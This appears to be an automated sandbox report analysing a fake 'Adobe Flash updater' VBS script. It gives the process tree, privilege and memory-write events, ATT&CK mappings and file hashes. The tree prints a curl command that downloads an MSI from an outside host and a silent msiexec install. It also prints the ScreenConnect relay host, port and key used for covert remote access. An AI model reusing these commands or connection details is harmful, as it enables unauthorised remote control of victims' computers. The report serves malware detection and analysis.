Token: SeLockMemoryPrivilege	4688	msiexec.exe
Token: SeIncreaseQuotaPrivilege	4688	msiexec.exe
Token: SeMachineAccountPrivilege	4688	msiexec.exe
Token: SeTcbPrivilege	4688	msiexec.exe
Token: SeSecurityPrivilege	4688	msiexec.exe
Token: SeTakeOwnershipPrivilege	4688	msiexec.exe
Token: SeLoadDriverPrivilege	4688	msiexec.exe
Token: SeSystemProfilePrivilege	4688	msiexec.exe
Token: SeSystemtimePrivilege	4688	msiexec.exe
Token: SeProfSingleProcessPrivilege	4688	msiexec.exe
Token: SeIncBasePriorityPrivilege	4688	msiexec.exe
Token: SeCreatePagefilePrivilege	4688	msiexec.exe
Token: SeCreatePermanentPrivilege	4688	msiexec.exe
Token: SeBackupPrivilege	4688	msiexec.exe
Token: SeRestorePrivilege	4688	msiexec.exe
Token: SeShutdownPrivilege	4688	msiexec.exe
Token: SeDebugPrivilege	4688	msiexec.exe
Token: SeAuditPrivilege	4688	msiexec.exe
Token: SeSystemEnvironmentPrivilege	4688	msiexec.exe
Token: SeChangeNotifyPrivilege	4688	msiexec.exe
Token: SeRemoteShutdownPrivilege	4688	msiexec.exe
Token: SeUndockPrivilege	4688	msiexec.exe
Token: SeSyncAgentPrivilege	4688	msiexec.exe
Token: SeEnableDelegationPrivilege	4688	msiexec.exe
Token: SeManageVolumePrivilege	4688	msiexec.exe
Token: SeImpersonatePrivilege	4688	msiexec.exe
Token: SeCreateGlobalPrivilege	4688	msiexec.exe
Token: SeRestorePrivilege	6428	msiexec.exe
Token: SeTakeOwnershipPrivilege	6428	msiexec.exe
Token: SeRestorePrivilege	6428	msiexec.exe
Token: SeTakeOwnershipPrivilege	6428	msiexec.exe
Token: SeRestorePrivilege	6428	msiexec.exe
Token: SeTakeOwnershipPrivilege	6428	msiexec.exe
Token: SeRestorePrivilege	6428	msiexec.exe
Token: SeTakeOwnershipPrivilege	6428	msiexec.exe
Token: SeRestorePrivilege	6428	msiexec.exe
Token: SeTakeOwnershipPrivilege	6428	msiexec.exe
Token: SeShutdownPrivilege	6588	MsiExec.exe
Token: SeRestorePrivilege	6428	msiexec.exe
Token: SeTakeOwnershipPrivilege	6428	msiexec.exe
Token: SeRestorePrivilege	6428	msiexec.exe
Token: SeTakeOwnershipPrivilege	6428	msiexec.exe
Token: SeRestorePrivilege	6428	msiexec.exe
Token: SeTakeOwnershipPrivilege	6428	msiexec.exe
Token: SeRestorePrivilege	6428	msiexec.exe
Token: SeTakeOwnershipPrivilege	6428	msiexec.exe
Token: SeRestorePrivilege	6428	msiexec.exe
Token: SeTakeOwnershipPrivilege	6428	msiexec.exe
Token: SeRestorePrivilege	6428	msiexec.exe
Token: SeTakeOwnershipPrivilege	6428	msiexec.exe
Token: SeRestorePrivilege	6428	msiexec.exe
Token: SeTakeOwnershipPrivilege	6428	msiexec.exe
Token: SeRestorePrivilege	6428	msiexec.exe
Token: SeTakeOwnershipPrivilege	6428	msiexec.exe
Token: SeRestorePrivilege	6428	msiexec.exe
Token: SeTakeOwnershipPrivilege	6428	msiexec.exe
Token: SeRestorePrivilege	6428	msiexec.exe
Token: SeTakeOwnershipPrivilege	6428	msiexec.exe
Token: SeRestorePrivilege	6428	msiexec.exe

Suspicious use of FindShellTrayWindow 1 IoCs

pid	Process
704	msedge.exe

Suspicious use of SetWindowsHookEx 4 IoCs

pid	Process
4688	msiexec.exe
6428	msiexec.exe
5680	MsiExec.exe
6588	MsiExec.exe

Suspicious use of WriteProcessMemory 45 IoCs

description	pid	Process	procid_target
PID 3264 wrote to memory of 5948	3264	WScript.exe	89
PID 5948 wrote to memory of 704	5948	wscript.exe	90
PID 704 wrote to memory of 6160	704	msedge.exe	91
PID 704 wrote to memory of 5712	704	msedge.exe	93
PID 704 wrote to memory of 3696	704	msedge.exe	94
PID 704 wrote to memory of 5712	704	msedge.exe	93
PID 704 wrote to memory of 5712	704	msedge.exe	93
PID 704 wrote to memory of 5784	704	msedge.exe	95
PID 704 wrote to memory of 5784	704	msedge.exe	95
PID 704 wrote to memory of 3424	704	msedge.exe	96
PID 704 wrote to memory of 3424	704	msedge.exe	96
PID 704 wrote to memory of 3424	704	msedge.exe	96
PID 704 wrote to memory of 1692	704	msedge.exe	97
PID 704 wrote to memory of 1692	704	msedge.exe	97
PID 704 wrote to memory of 1692	704	msedge.exe	97
PID 5948 wrote to memory of 1460	5948	wscript.exe	98
PID 704 wrote to memory of 5460	704	msedge.exe	100
PID 704 wrote to memory of 5460	704	msedge.exe	100
PID 704 wrote to memory of 5460	704	msedge.exe	100
PID 704 wrote to memory of 6220	704	msedge.exe	101
PID 704 wrote to memory of 6220	704	msedge.exe	101
PID 704 wrote to memory of 6220	704	msedge.exe	101
PID 5948 wrote to memory of 4688	5948	wscript.exe	102
PID 704 wrote to memory of 6744	704	msedge.exe	103
PID 704 wrote to memory of 484	704	msedge.exe	104
PID 704 wrote to memory of 6744	704	msedge.exe	103
PID 704 wrote to memory of 484	704	msedge.exe	104
PID 704 wrote to memory of 6844	704	msedge.exe	106
PID 6428 wrote to memory of 5680	6428	msiexec.exe	108
PID 5680 wrote to memory of 6612	5680	MsiExec.exe	109
PID 6428 wrote to memory of 6588	6428	msiexec.exe	112
PID 2056 wrote to memory of 1464	2056	ScreenConnect.ClientService.exe	114
PID 2056 wrote to memory of 5848	2056	ScreenConnect.ClientService.exe	115
PID 704 wrote to memory of 6168	704	msedge.exe	118
PID 704 wrote to memory of 5324	704	msedge.exe	119
PID 704 wrote to memory of 2840	704	msedge.exe	120
PID 704 wrote to memory of 4800	704	msedge.exe	121
PID 704 wrote to memory of 4800	704	msedge.exe	121
PID 704 wrote to memory of 1028	704	msedge.exe	124
PID 704 wrote to memory of 1028	704	msedge.exe	124
PID 704 wrote to memory of 1044	704	msedge.exe	125
PID 704 wrote to memory of 1044	704	msedge.exe	125
PID 704 wrote to memory of 5540	704	msedge.exe	126
PID 704 wrote to memory of 6788	704	msedge.exe	127
PID 704 wrote to memory of 6788	704	msedge.exe	127

C:\Windows\System32\WScript.exe
"C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\adobe-flash-updater.vbs"
1⤵
- Suspicious use of WriteProcessMemory
PID:3264
- C:\Windows\System32\wscript.exe
  "C:\Windows\System32\wscript.exe" "C:\Users\Admin\AppData\Local\Temp\adobe-flash-updater.vbs" /elevated
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:5948
- - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
    "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --single-argument https://flash-updater.vercel.app/doc/dhl-waybill.pdf
    3⤵
    - Loads dropped DLL
    - Drops file in Windows directory
    - Enumerates system info in registry
    - Modifies data under HKEY_USERS
    - Modifies registry class
    - Suspicious behavior: NtCreateUserProcessBlockNonMicrosoftBinary
    - Suspicious use of FindShellTrayWindow
    - Suspicious use of WriteProcessMemory
    PID:704
  - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
      "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=crashpad-handler "--user-data-dir=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data" /prefetch:4 --monitor-self-annotation=ptype=crashpad-handler "--database=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Crashpad" --annotation=IsOfficialBuild=1 --annotation=channel= --annotation=chromium-version=139.0.7258.155 "--annotation=exe=C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --annotation=plat=Win64 --annotation=prod=Edge --annotation=ver=139.0.3405.125 --initial-client-data=0x2f0,0x2f4,0x2f8,0x2ec,0x300,0x7ffe02b8c188,0x7ffe02b8c194,0x7ffe02b8c1a0
      4⤵
      PID:6160
  - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
      "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=gpu-process --no-pre-read-main-dll --force-high-res-timeticks=disabled --gpu-preferences=SAAAAAAAAADgAAAIAAAAAAAAAAAAAGAAAQAAAAAAAAAEAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAQAAAAAAAAABAAAAAAAAAACAAAAAAAAAAIAAAAAAAAAA== --always-read-main-dll --metrics-shmem-handle=1976,i,1644681538329903093,14809148375127685294,262144 --field-trial-handle=2496,i,5282726641420163109,8539785740715427806,262144 --variations-seed-version --mojo-platform-channel-handle=2492 /prefetch:2
      4⤵
      PID:5712
  - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
      "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --no-pre-read-main-dll --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=2152,i,8729252207983727456,3140584872564206818,524288 --field-trial-handle=2496,i,5282726641420163109,8539785740715427806,262144 --variations-seed-version --mojo-platform-channel-handle=2536 /prefetch:11
      4⤵
      System Time Discovery
      PID:3696
  - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
      "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=storage.mojom.StorageService --lang=en-US --service-sandbox-type=service --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=2656,i,6112098486425566559,2266292084143273220,524288 --field-trial-handle=2496,i,5282726641420163109,8539785740715427806,262144 --variations-seed-version --mojo-platform-channel-handle=3280 /prefetch:13
      4⤵
      PID:5784
  - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
      "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --pdf-upsell-enabled --force-high-res-timeticks=disabled --video-capture-use-gpu-memory-buffer --lang=en-US --js-flags=--ms-user-locale= --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=6 --always-read-main-dll --metrics-shmem-handle=3544,i,9086219822981706656,11005119728088016140,2097152 --field-trial-handle=2496,i,5282726641420163109,8539785740715427806,262144 --variations-seed-version --mojo-platform-channel-handle=3572 /prefetch:1
      4⤵
      PID:3424
  - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
      "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --pdf-upsell-enabled --force-high-res-timeticks=disabled --video-capture-use-gpu-memory-buffer --lang=en-US --js-flags=--ms-user-locale= --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=5 --always-read-main-dll --metrics-shmem-handle=3560,i,9343175548072053884,16031735799227787495,2097152 --field-trial-handle=2496,i,5282726641420163109,8539785740715427806,262144 --variations-seed-version --mojo-platform-channel-handle=3580 /prefetch:1
      4⤵
      PID:1692
  - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
      "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --extension-process --renderer-sub-type=extension --init-isolate-as-foreground --pdf-shared-library --pdf-upsell-enabled --force-high-res-timeticks=disabled --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --js-flags=--ms-user-locale= --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=7 --always-read-main-dll --metrics-shmem-handle=3512,i,3399595106931714036,11972412711329687403,2097152 --field-trial-handle=2496,i,5282726641420163109,8539785740715427806,262144 --variations-seed-version --mojo-platform-channel-handle=5096 /prefetch:9
      4⤵
      PID:5460
  - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
      "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --renderer-sub-type=pdf-renderer --pdf-renderer --pdf-shared-library --pdf-upsell-enabled --force-high-res-timeticks=disabled --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --js-flags="--ms-user-locale= --jitless" --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=8 --always-read-main-dll --metrics-shmem-handle=5288,i,12264420559703402928,18022117256656533936,2097152 --field-trial-handle=2496,i,5282726641420163109,8539785740715427806,262144 --variations-seed-version --mojo-platform-channel-handle=5236 /prefetch:15
      4⤵
      PID:6220
  - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
      "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=asset_store.mojom.AssetStoreService --lang=en-US --service-sandbox-type=asset_store_service --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=5248,i,12399918858999252888,17291685618108057254,524288 --field-trial-handle=2496,i,5282726641420163109,8539785740715427806,262144 --variations-seed-version --mojo-platform-channel-handle=5532 /prefetch:14
      4⤵
      PID:6744
  - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
      "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=entity_extraction_service.mojom.Extractor --lang=en-US --service-sandbox-type=entity_extraction --onnx-enabled-for-ee --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=5464,i,4217232958606804288,2244110039878302526,524288 --field-trial-handle=2496,i,5282726641420163109,8539785740715427806,262144 --variations-seed-version --mojo-platform-channel-handle=5544 /prefetch:14
      4⤵
      PID:484
  - - C:\Program Files (x86)\Microsoft\Edge\Application\139.0.3405.125\identity_helper.exe
      "C:\Program Files (x86)\Microsoft\Edge\Application\139.0.3405.125\identity_helper.exe" --type=utility --utility-sub-type=winrt_app_id.mojom.WinrtAppIdService --lang=en-US --service-sandbox-type=none --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=6112,i,3031997352051675932,4690939508352097176,524288 --field-trial-handle=2496,i,5282726641420163109,8539785740715427806,262144 --variations-seed-version --mojo-platform-channel-handle=5892 /prefetch:14
      4⤵
      PID:6272
  - - C:\Program Files (x86)\Microsoft\Edge\Application\139.0.3405.125\identity_helper.exe
      "C:\Program Files (x86)\Microsoft\Edge\Application\139.0.3405.125\identity_helper.exe" --type=utility --utility-sub-type=winrt_app_id.mojom.WinrtAppIdService --lang=en-US --service-sandbox-type=none --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=6112,i,3031997352051675932,4690939508352097176,524288 --field-trial-handle=2496,i,5282726641420163109,8539785740715427806,262144 --variations-seed-version --mojo-platform-channel-handle=5892 /prefetch:14
      4⤵
      PID:6844
  - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
      "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=chrome.mojom.UtilWin --lang=en-US --service-sandbox-type=none --message-loop-type-ui --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=1288,i,9100999890232368549,4579884173180770201,524288 --field-trial-handle=2496,i,5282726641420163109,8539785740715427806,262144 --variations-seed-version --mojo-platform-channel-handle=1284 /prefetch:14
      4⤵
      PID:6168
  - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
      "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=chrome.mojom.UtilWin --lang=en-US --service-sandbox-type=none --message-loop-type-ui --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=1292,i,15211020264266347733,17201657248090959925,524288 --field-trial-handle=2496,i,5282726641420163109,8539785740715427806,262144 --variations-seed-version --mojo-platform-channel-handle=1384 /prefetch:14
      4⤵
      PID:5324
  - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
      "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=chrome.mojom.UtilWin --lang=en-US --service-sandbox-type=none --message-loop-type-ui --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=1296,i,7716481797559910171,10565689113586367282,524288 --field-trial-handle=2496,i,5282726641420163109,8539785740715427806,262144 --variations-seed-version --mojo-platform-channel-handle=6848 /prefetch:14
      4⤵
      PID:2840
  - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
      "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=edge_search_indexer.mojom.SearchIndexerInterfaceBroker --lang=en-US --service-sandbox-type=search_indexer --message-loop-type-ui --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=5792,i,3894339860110168948,7080757782436706045,524288 --field-trial-handle=2496,i,5282726641420163109,8539785740715427806,262144 --variations-seed-version --mojo-platform-channel-handle=5780 /prefetch:14
      4⤵
      PID:4800
  - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
      "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=unzip.mojom.Unzipper --lang=en-US --service-sandbox-type=service --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=6036,i,9182756693768641624,16948606409157114533,524288 --field-trial-handle=2496,i,5282726641420163109,8539785740715427806,262144 --variations-seed-version --mojo-platform-channel-handle=6400 /prefetch:14
      4⤵
      PID:1028
  - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
      "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=unzip.mojom.Unzipper --lang=en-US --service-sandbox-type=service --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=6424,i,7388952485313593948,2071843696636465435,524288 --field-trial-handle=2496,i,5282726641420163109,8539785740715427806,262144 --variations-seed-version --mojo-platform-channel-handle=5464 /prefetch:14
      4⤵
      PID:1044
  - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
      "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=gpu-process --disable-gpu-sandbox --use-gl=disabled --gpu-vendor-id=5140 --gpu-device-id=140 --gpu-sub-system-id=0 --gpu-revision=0 --gpu-driver-version=10.0.26100.1301 --force-high-res-timeticks=disabled --gpu-preferences=SAAAAAAAAADoAAAIAAAAAAAAAAAAAGAAAQAAAAAAAACEAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAQAAAAAAAAABAAAAAAAAAACAAAAAAAAAAIAAAAAAAAAA== --always-read-main-dll --metrics-shmem-handle=5452,i,7055384649625356329,16636299097962258985,262144 --field-trial-handle=2496,i,5282726641420163109,8539785740715427806,262144 --variations-seed-version --mojo-platform-channel-handle=6096 /prefetch:10
      4⤵
      Suspicious behavior: EnumeratesProcesses
      PID:5540
  - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
      "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=unzip.mojom.Unzipper --lang=en-US --service-sandbox-type=service --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=5872,i,11059672502158488996,10461234333337940841,524288 --field-trial-handle=2496,i,5282726641420163109,8539785740715427806,262144 --variations-seed-version --mojo-platform-channel-handle=5440 /prefetch:14
      4⤵
      PID:6788
- - C:\Windows\System32\curl.exe
    "C:\Windows\System32\curl.exe" -s -L --fail -o "C:\Users\Admin\AppData\Local\Temp\updater.msi" "https://flash-updater.vercel.app/doc/sc.msi"
    3⤵
    PID:1460
- - C:\Windows\System32\msiexec.exe
    "C:\Windows\System32\msiexec.exe" /i "C:\Users\Admin\AppData\Local\Temp\updater.msi" /qn /norestart
    3⤵
    - Suspicious use of AdjustPrivilegeToken
    - Suspicious use of SetWindowsHookEx
    PID:4688

C:\Program Files (x86)\Microsoft\Edge\Application\139.0.3405.125\elevation_service.exe
"C:\Program Files (x86)\Microsoft\Edge\Application\139.0.3405.125\elevation_service.exe"
1⤵
PID:6760

C:\Windows\system32\msiexec.exe
C:\Windows\system32\msiexec.exe /V
1⤵
- Enumerates connected drives
- Boot or Logon Autostart Execution: Authentication Package
- Drops file in Program Files directory
- Drops file in Windows directory
- Modifies data under HKEY_USERS
- Modifies registry class
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of SetWindowsHookEx
- Suspicious use of WriteProcessMemory
PID:6428
- C:\Windows\syswow64\MsiExec.exe
  C:\Windows\syswow64\MsiExec.exe -Embedding 9E48A3A722265A592F14816D95793067
  2⤵
  - Loads dropped DLL
  - System Location Discovery: System Language Discovery
  - Suspicious use of SetWindowsHookEx
  - Suspicious use of WriteProcessMemory
  PID:5680
- - C:\Windows\SysWOW64\rundll32.exe
    rundll32.exe "C:\Windows\Installer\MSIF509.tmp",zzzzInvokeManagedCustomActionOutOfProc SfxCA_240711109 2 ScreenConnect.InstallerActions!ScreenConnect.ClientInstallerActions.FixupServiceArguments
    3⤵
    - Loads dropped DLL
    - Drops file in Windows directory
    - System Location Discovery: System Language Discovery
    PID:6612
- C:\Windows\syswow64\MsiExec.exe
  C:\Windows\syswow64\MsiExec.exe -Embedding F375D86E81F4698FC82372B89F4D7A3E E Global\MSI0000
  2⤵
  - Loads dropped DLL
  - Drops file in Windows directory
  - System Location Discovery: System Language Discovery
  - Suspicious use of AdjustPrivilegeToken
  - Suspicious use of SetWindowsHookEx
  PID:6588

C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --no-startup-window --win-session-start
1⤵
PID:2360

C:\Program Files (x86)\ScreenConnect Client (dced0c98722de943)\ScreenConnect.ClientService.exe
"C:\Program Files (x86)\ScreenConnect Client (dced0c98722de943)\ScreenConnect.ClientService.exe" "?e=Access&y=Guest&h=relay.gamedbd.com&p=8041&s=ff89f793-6658-493a-a16b-bafd182bdfaf&k=BgIAAACkAABSU0ExAAgAAAEAAQDZ%2b9VnLfivKwJVHeHqyKSNy%2bEDvUIdL7XvGZ1d8KYIeMI9NW8EJjq01exlTSHNf0rCmMzkqmDK72qTjm8ZVI3jUvw1K%2fBBJdNDknbd4tQP7pCHvBTzjaBYPmk2%2bSaknS5IVgbN3d%2bWapf1epWcqgK27Z5t1rMwh9CdDkFBxYn3faTEl3OAHaAZbuRJym6VlnJrd%2fm979ZYM%2bXjMazd091q30N8rcjUV4PZ9fNkiQziwG55Qq91xLhNHvKfWRyOnK6%2foJhF8MPiB10xiGj%2b0Yh8DPiz%2b%2fO9ZLir%2bkbe6UmU4%2fdesurofmCDbE%2bOyBtv37pc4B2GwbALdta99%2fg1oEDm"
1⤵
- Sets service image path in registry
- Executes dropped EXE
- Loads dropped DLL
- Drops file in System32 directory
- System Location Discovery: System Language Discovery
- Modifies data under HKEY_USERS
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of WriteProcessMemory
PID:2056
- C:\Program Files (x86)\ScreenConnect Client (dced0c98722de943)\ScreenConnect.WindowsClient.exe
  "C:\Program Files (x86)\ScreenConnect Client (dced0c98722de943)\ScreenConnect.WindowsClient.exe" "RunRole" "069cd8c0-7b31-4b00-9d53-d14a46b589e2" "User"
  2⤵
  - Executes dropped EXE
  PID:1464
- C:\Program Files (x86)\ScreenConnect Client (dced0c98722de943)\ScreenConnect.WindowsClient.exe
  "C:\Program Files (x86)\ScreenConnect Client (dced0c98722de943)\ScreenConnect.WindowsClient.exe" "RunRole" "5f42aced-5dde-481d-87ef-c5f8c0e70b2e" "System"
  2⤵
  - Executes dropped EXE
  - Checks processor information in registry
  - Modifies data under HKEY_USERS
  PID:5848

Network

MITRE ATT&CK Enterprise v16

Reconnaissance

Resource Development

Initial Access

Execution

Persistence

Boot or Logon Autostart Execution

T1547

Authentication Package

T1547.002

Registry Run Keys / Startup Folder

T1547.001

Create or Modify System Process

T1543

Windows Service

T1543.003

Event Triggered Execution

T1546

Component Object Model Hijacking

T1546.015

Privilege Escalation

Boot or Logon Autostart Execution

T1547

Authentication Package

T1547.002

Registry Run Keys / Startup Folder

T1547.001

Create or Modify System Process

T1543

Windows Service

T1543.003

Event Triggered Execution

T1546

Component Object Model Hijacking

T1546.015

Defense Evasion

Modify Registry

T1112

Credential Access

Discovery

Browser Information Discovery

T1217

Peripheral Device Discovery

T1120

Query Registry

T1012

System Information Discovery

T1082

System Location Discovery

T1614

System Language Discovery

T1614.001

System Time Discovery

T1124

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

e58f338.rbs

Path C:\Config.Msi\e58f338.rbs
Size 214KB
SHA256 03ca99aee58a29847715c6b68fdb739481fdf36376ad09899bd9f4224c465148
MD5 8da0fb00afbf0c7a217c603fe574e582
SHA1 04db993701a633e364cf79ca4d41be4c9078bdce
SHA512 e218a7cc8b52fc79d3381e064a6a56f1e0894924a4ef6bb0e91e1ab710dcf6c4aa3cdc18ed2ca1ec42fde174d036bfb467dcf518b8f94a88e6f167fd96f086df
SSDEEP 3072:5m9LUHM7ptZ8UKOGw5vMWSuRy1YaDJkflQn3H+QDO/6Q+cxbr0qMG7:5muH2aCGw1ST1wQLdqv7
TLSH
T150248C217480847EE7FA1A32DD3E9A21BE3DF6641760C59EC3848C1E5DA04C16BF6767
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

Client.Override.en-US.resources

Path C:\Program Files (x86)\ScreenConnect Client (dced0c98722de943)\Client.Override.en-US.resources
Size 316B
SHA256 cc0f52a92862da80c84c6c59ff7229ffd8db8a5ebf99e9d6ad25ff3b003c8cce
MD5 4245d329250f796f38de89c21a4f1c56
SHA1 484d49093ad9bf5f82de4cd21ea77b9e598ea2f1
SHA512 4e0b394bc0dbde3beab8624e7b930ba3e72ec0502fdeab570982815897b0f5cbba3a52c3876ed9287e1a9a1efd7d5627701b57201bcd64e838456a19cdf18cab
TLSH
T11EE0C22303BE01BAE9735F77A4BCA5921233ED189524982D8818026C5EB23538B92B73
MD5 SHA1 SHA512 TLSH

Submit Download

Client.Override.resources

Path C:\Program Files (x86)\ScreenConnect Client (dced0c98722de943)\Client.Override.resources
Size 456B
SHA256 be412089757f8b2c7823337c35951dcf79c3a2c01493f66ceb01e7cd1576e1e9
MD5 ca71012248019e93ca8f1c4805348138
SHA1 cd03d51915b54fce5f829396d5e0f7f455257cb4
SHA512 b8dfad407229787c6538cb486ae22a99eee0493f30a7d02048343e605682bb95155bdc1a4cd81863d1d523fa57e76a25a202ab074c89620925ec3e957b0b0055
TLSH
T13FF0E51F76ED2A71D0B22736688F74816F7FBE1D403444A9A485801C0A63D0E1D81737
MD5 SHA1 SHA512 TLSH

Submit Download

Client.en-US.resources

Path C:\Program Files (x86)\ScreenConnect Client (dced0c98722de943)\Client.en-US.resources
Size 48KB
SHA256 07d04e6d5376ffc8d81afe8132e0aa6529cccc5ee789bea53d56c1a2da062be4
MD5 d524e8e6fd04b097f0401b2b668db303
SHA1 9486f89ce4968e03f6dcd082aa2e4c05aef46fcc
SHA512 e5bc6b876affeb252b198feb8d213359ed3247e32c1f4bfc2c5419085cf74fe7571a51cad4eaaab8a44f1421f7ca87af97c9b054bdb83f5a28fa9a880d4efde5
SSDEEP 1536:p1+F+UTQd/3EUDv8vw+Dsj2jr0FJK97w/Leh/KR1exJKekmrg9:p1+F+UTQWUDv8vw+Dsj2jr0FJK97w/LR
TLSH
T13D331D1277FD0A18F5F36F45BE7A94619937BC6A2E25C06F1028855E09B2F80C9B2773
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

Client.resources

Path C:\Program Files (x86)\ScreenConnect Client (dced0c98722de943)\Client.resources
Size 26KB
SHA256 de185ee5d433e6cfbb2e5fcc903dbd60cc833a3ca5299f2862b253a41e7aa08c
MD5 5cd580b22da0c33ec6730b10a6c74932
SHA1 0b6bded7936178d80841b289769c6ff0c8eead2d
SHA512 c2494533b26128fbf8149f7d20257d78d258abffb30e4e595cb9c6a742f00f1bf31b1ee202d4184661b98793b9909038cf03c04b563ce4eca1e2ee2dec3bf787
SSDEEP 384:rAClIRkKxFCQPZhNAmutHcRIfvVf6yMt+FRVoSVCdcDk6jO0n/uTYUq5ZplYKlBy:MV3PZrXgTf6vEVm6zjpGYUElerG49
TLSH
T10BC2D0CA33BDED98E77E63BB7DE840701737BB017D6192126C060411613528AAEA8F4F
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

ScreenConnect.Client.dll

Path C:\Program Files (x86)\ScreenConnect Client (dced0c98722de943)\ScreenConnect.Client.dll
Size 192KB
SHA256 ea0a545f40ff491d02172228c1a39ae68344c4340a6094486a47be746952e64f
MD5 3724f06f3422f4e42b41e23acb39b152
SHA1 1220987627782d3c3397d4abf01ac3777999e01c
SHA512 509d9a32179a700ad76471b4cd094b8eb6d5d4ae7ad15b20fd76c482ed6d68f44693fc36bcb3999da9346ae9e43375cd8fe02b61edeabe4e78c4e2e44bf71d42
SSDEEP 3072:/xLtNGTlIyS7/ObjusqVFJRJcyzvYqSmzDvJXYF:FtNGTGySabqPJYbqSmG
TLSH
T1DD144B8633A94E36DA9F5D73B46060358AB5ED066023E3EE5E04F9F61A733408E553E3
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

ScreenConnect.ClientService.dll

Path C:\Program Files (x86)\ScreenConnect Client (dced0c98722de943)\ScreenConnect.ClientService.dll
Size 66KB
SHA256 fd5818dcdf5fc76316b8f7f96630ec66bb1cb5b5a8127cf300e5842f2c74ffca
MD5 5db908c12d6e768081bced0e165e36f8
SHA1 f2d3160f15cfd0989091249a61132a369e44dea4
SHA512 8400486cadb7c07c08338d8876bc14083b6f7de8a8237f4fe866f4659139acc0b587eb89289d281106e5baf70187b3b5e86502a2e340113258f03994d959328d
SSDEEP 1536:+A0ZscQ5V6TsQqoSD6h6+39QFVIl1zJhb8gq:p0Zy3gUOQFVQzJq
TLSH
T1C2634A45A3E95E77C9DF5F7C7865B1410FB08A02E462FB989CC9A8D71A537C12E003AB
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

ScreenConnect.ClientService.exe

Path C:\Program Files (x86)\ScreenConnect Client (dced0c98722de943)\ScreenConnect.ClientService.exe
